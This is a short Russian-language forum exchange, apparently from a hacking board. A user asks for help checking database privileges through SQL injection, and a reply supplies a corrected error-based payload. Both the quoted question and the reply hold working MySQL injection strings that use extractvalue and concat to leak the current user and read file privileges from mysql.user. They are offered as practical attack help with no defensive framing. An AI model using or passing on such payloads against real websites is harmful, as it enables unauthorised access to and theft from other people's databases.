12.01.2016, 22:17
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от BabaDook
↑
всем привет . помогите человеки добрые
'or
extractvalue(0x0a,concat(0x0a,(select user())))and'#
как проверить права юзера
'or
extractvalue(0x0a,concat(0x0a,(select file_priv))) from+mysql.user and'# даёт ошибку синтекса.
Код:
'or(extractvalue(1,concat(0x3a,(select(file_priv)from(mysql.user)where(user='BabaDook')limit+0,1))))and'
|
|
|